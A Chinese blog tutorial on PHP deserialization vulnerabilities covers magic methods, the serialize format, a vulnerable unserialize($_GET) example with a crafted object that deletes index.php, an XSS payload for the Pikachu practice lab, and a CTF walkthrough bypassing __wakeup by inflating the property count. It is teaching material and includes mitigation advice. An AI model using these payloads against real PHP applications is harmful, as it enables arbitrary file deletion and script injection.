PHP反序列化漏洞详解(魔术方法)

一、PHP面向对象编程

面向对象的程序设计(Object-oriented programming,OOP)中,对象是一个由信息及对信息进行处理的描述所组成的整体,是对现实世界的抽象。 类是一个共享相同结构和行为的对象的集合。每个类的定义都以关键字class开头,后面跟着类的名字。

创建一个PHP类:

<?php
class TestClass //定义一个类
{
//一个变量
public $variable = 'This is a string';
//一个方法
public function PrintVariable()
{
echo $this->variable;
}
}
//创建一个对象
$object = new TestClass();
//调用一个方法
$object->PrintVariable();
?>

public、protected、private

PHP 对属性或方法的访问控制,是通过在前面添加关键字 public(公有),protected(受保护)或 private(私有)来实现的。
public(公有):公有的类成员可以在任何地方被访问
protected(受保护):受保护的类成员则可以被其自身以及其子类和父类访问
private(私有):私有的类成员则只能被其定义所在的类访问

注意:不同修饰符序列化后的值不一样

访问控制修饰符的不同,序列化后属性的长度和属性值会有所不同,如下所示:

public:属性被序列化的时候属性值会变成属性名
protected:属性被序列化的时候属性值会变成\x00*\x00属性名
private:属性被序列化的时候属性值会变成\x00类名\x00属性名
其中:\x00表示空字符,但是还是占用一个字符位置

魔术方法(magic函数)

PHP中把以两个下划线__开头的方法称为魔术方法(Magic methods)
PHP官方——魔术方法
PHP中16 个魔术方法详解

类可能会包含一些特殊的函数:magic函数,这些函数在某些情况下会自动调用

serialize() 函数会检查类中是否存在一个魔术方法。如果存在,该方法会先被调用,然后才执行序列化操作。

__construct:构造函数,当一个对象创建时调用

__destruct:析构函数,当一个对象被销毁时调用

__toString:当一个对象被当作一个字符串时使用

__sleep:在对象序列化的时候调用

__wakeup:对象重新醒来,即由二进制串重新组成一个对象的时候(在一个对象被反序列化时调用)

从序列化到反序列化这几个函数的执行过程是:
__construct() ->__sleep() -> __wakeup() -> __toString() -> __destruct()

<?php
class TestClass
{
    //一个变量
    public $variable = 'This is a string';
    //一个方法
    public function PrintVariable()
    {
        echo $this->variable.'<br />';
    }
    //构造函数
    public function  __construct()
    {
        echo '__construct<br />';
    }
    //析构函数
    public function __destruct()
    {
        echo '__destruct<br />';
    }
    //当对象被当作一个字符串
    public function __toString()
    {
        return '__toString<br />';
    }
}
//创建一个对象
//__construct会被调用
$object = new TestClass();
//创建一个方法
//‘This is a string’将会被输出
$object->PrintVariable();
//对象被当作一个字符串
//toString会被调用
echo $object;
//php脚本要结束时,__destruct会被调用
?>

输出结果:

__construct
This is a string
__toString
__destruct

二、PHP序列化和反序列化

有时需要把一个对象在网络上传输,为了方便传输,可以把整个对象转化为二进制串,等到达另一端时,再还原为原来的对象,这个过程称之为串行化(也叫序列化)。
有两种情况必须把对象序列化:
把一个对象在网络中传输的时候
把对象写入文件或数据库的时候

序列化:把对象转化为二进制的字符串,使用serialize()函数
反序列化:把对象转化的二进制字符串再转化为对象,使用unserialize()函数

通过例子来看PHP序列化后的格式:

<?php
class User
{
    //类的数据
    public $age = 0;
    public $name = '';
    //输出数据
    public function printdata()
    {
        echo 'User '.$this->name.' is '.$this->age.' years old.<br />';
    } // “.”表示字符串连接
}
//创建一个对象
$usr = new User();
//设置数据
$usr->age = 18;
$usr->name = 'Hardworking666';
//输出数据
$usr->printdata();
//输出序列化后的数据
echo serialize($usr)
?>

输出结果:

User Hardworking666 is 18 years old.
O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:14:"Hardworking666";}

下面的 O:4:“User”:2:{s:3:“age”;i:18;s:4:“name”;s:14:“Hardworking666”;} 就是对象user序列化后的形式。

“O”表示对象,“4”表示对象名长度为4,“User”为对象名,“2”表示有2个参数
“{}”里面是参数的key和value,
“s”表示string对象,“3”表示长度,“age”则为key;“i”是interger(整数)对象,“18”是value,后面同理。

进行反序列化:

<?php
class User
{
    //类的数据
    public $age = 0;
    public $name = '';
    //输出数据
    public function printdata()
    {
        echo 'User '.$this->name.' is '.$this->age.' years old.<br />';
    }
}
//重建对象
$usr = unserialize('O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:14:"Hardworking666";}');
//输出数据
$usr->printdata();
?>
User Hardworking666 is 18 years old.

_sleep 方法在一个对象被序列化时调用,_wakeup方法在一个对象被反序列化时调用

<?php
class test
{
    public $variable = '变量反序列化后都要销毁'; //公共变量
    public $variable2 = 'OTHER';
    public function printvariable()
    {
        echo $this->variable.'<br />';
    }
    public function __construct()
    {
        echo '__construct'.'<br />';
    }
    public function __destruct()
    {
        echo '__destruct'.'<br />';
    }
    public function __wakeup()
    {
        echo '__wakeup'.'<br />';
    }
    public function __sleep()
    {
        echo '__sleep'.'<br />';
        return array('variable','variable2');
    }
}

//创建一个对象,回调用__construct
$object = new test();
//序列化一个对象,会调用__sleep
$serialized = serialize($object);
//输出序列化后的字符串
print 'Serialized:'.$serialized.'<br />';
//重建对象,会调用__wakeup
$object2 = unserialize($serialized);
//调用printvariable,会输出数据(变量反序列化后都要销毁)
$object2->printvariable();
//脚本结束,会调用__destruct
?>
__construct
__sleep
Serialized:O:4:"test":2:{s:8:"variable";s:33:"变量反序列化后都要销毁";s:9:"variable2";s:5:"OTHER";}
__wakeup
变量反序列化后都要销毁
__destruct
__destruct

从序列化到反序列化这几个函数的执行过程是:
__construct() ->__sleep -> __wakeup() -> __toString() -> __destruct()

三、PHP反序列化漏洞原理

序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题。当传给unserialize()参数可控时,可以通过传入一个精心构造的序列化字符串,从而控制对象内部的变量甚至是函数。

存在漏洞的思路:一个类用于临时将日志储存进某个文件,当__destruct被调用时,日志文件将会被删除:

//logdata.php
<?php
class logfile
{
    //log文件名
    public $filename = 'error.log';
    //一些用于储存日志的代码
    public function logdata($text)
    {
        echo 'log data:'.$text.'<br />';
        file_put_contents($this->filename,$text,FILE_APPEND);
    }
    //destrcuctor 删除日志文件
    public function __destruct()
    {
        echo '__destruct deletes '.$this->filename.'file.<br />';
        unlink(dirname(__FILE__).'/'.$this->filename);
    }
}
?>

调用这个类:

<?php
include 'logdata.php'
class User
{
    //类数据
    public $age = 0;
    public $name = '';
    //输出数据
    public function printdata()
    {
        echo 'User '.$this->name.' is'.$this->age.' years old.<br />';
    }
}
//重建数据
$usr = unserialize($_GET['usr_serialized']);
?>

代码$usr = unserialize($_GET['usr_serialized']);中的$_GET[‘usr_serialized’]是可控的,那么可以构造输入,删除任意文件。

如构造输入删除目录下的index.php文件:

<?php
include 'logdata.php';
$object = new logfile();
$object->filename = 'index.php';
echo serialize($object).'<br />';
?>

上面展示了由于输入可控造成的__destruct函数删除任意文件,其实问题也可能存在于__wakeup__sleep__toString等其他magic函数。比如,某用户类定义了一个__toString,为了让应用程序能够将类作为一个字符串输出(echo $object),而且其他类也可能定义了一个类允许__toString读取某个文件。

例如,皮卡丘靶场PHP反序列化漏洞

$html=";
if(isset($_POST['o'])){
    $s = $_POST['o'];
    if(!@$unser = unserialize($s)){
        $html.="<p>错误输出</p>";
    }else{
        $html.="<p>{$unser->test)</p>";
    }

为了执行<script>alert('xss')</script>,Payload:

O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

其他知识点:

unserialize漏洞依赖条件
1、unserialize函数的参数可控
2、脚本中存在一个构造函数(__construct())、析构函数(__destruct())、__wakeup()函数中有向PHP文件中写数据的操作类
3、所写的内容需要有对象中的成员变量的值

防范方法
1、严格控制unserialize函数的参数,坚持用户所输入的信息都是不可靠的原则
2、对于unserialize后的变量内容进行检查,以确定内容没有被污染

四、CTF例题

PHP反序列化绕过__wakeup()

攻防世界xctf web unserialize3

打开网址后的代码:

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

已知在使用 unserialize() 反序列化时会先调用 __wakeup()函数,

而本题的关键就是如何 绕过 __wakeup()函数,就是 在反序列化的时候不调用它

序列化的字符串中的 属性值 个数 大于 属性个数 就会导致反序列化异常,从而绕过 __wakeup()

代码中的__wakeup()方法如果使用就是和unserialize()反序列化函数结合使用的
这里没有特别对哪个字符串序列化,所以把xctf类实例化后,进行反序列化。

我们利用php中的new运算符,实例化类xctf。

new 是申请空间的操作符,一般用于类。
比如定义了一个 class a{public i=0;}
$c = new a(); 相当于定义了一个基于a类的对象,这时候 $c->i 就是0

构造序列化的代码在编辑器内执行:

<?php
class xctf{
public $flag = '111'; //public定义flag变量公开可见
public function __wakeup(){
exit('bad requests');
}
}//题目少了一个},这里补上
$a=new xctf();
echo(serialize($a));
?>

运行结果

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

序列化返回的字符串格式:

O:<length>:"<class name>":<n>:{<field name 1><field value 1>...<field name n><field value n>} 

O:表示序列化的是对象
<length>:表示序列化的类名称长度
<class name>:表示序列化的类的名称
<n>:表示被序列化的对象的属性个数
<field name 1>:属性名
<field value 1>:属性值

所以要修改属性值<n>,既把1改为2以上。

O:4:"xctf":2:{s:4:"flag";s:3:"111";}

在url中输入:

?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

得到flag:cyberpeace{d0e4287c414858ea80e166dbdb75519e}

posted @ 2022-02-06 18:51  Hardworking666  阅读(2044)  评论(0编辑  收藏  举报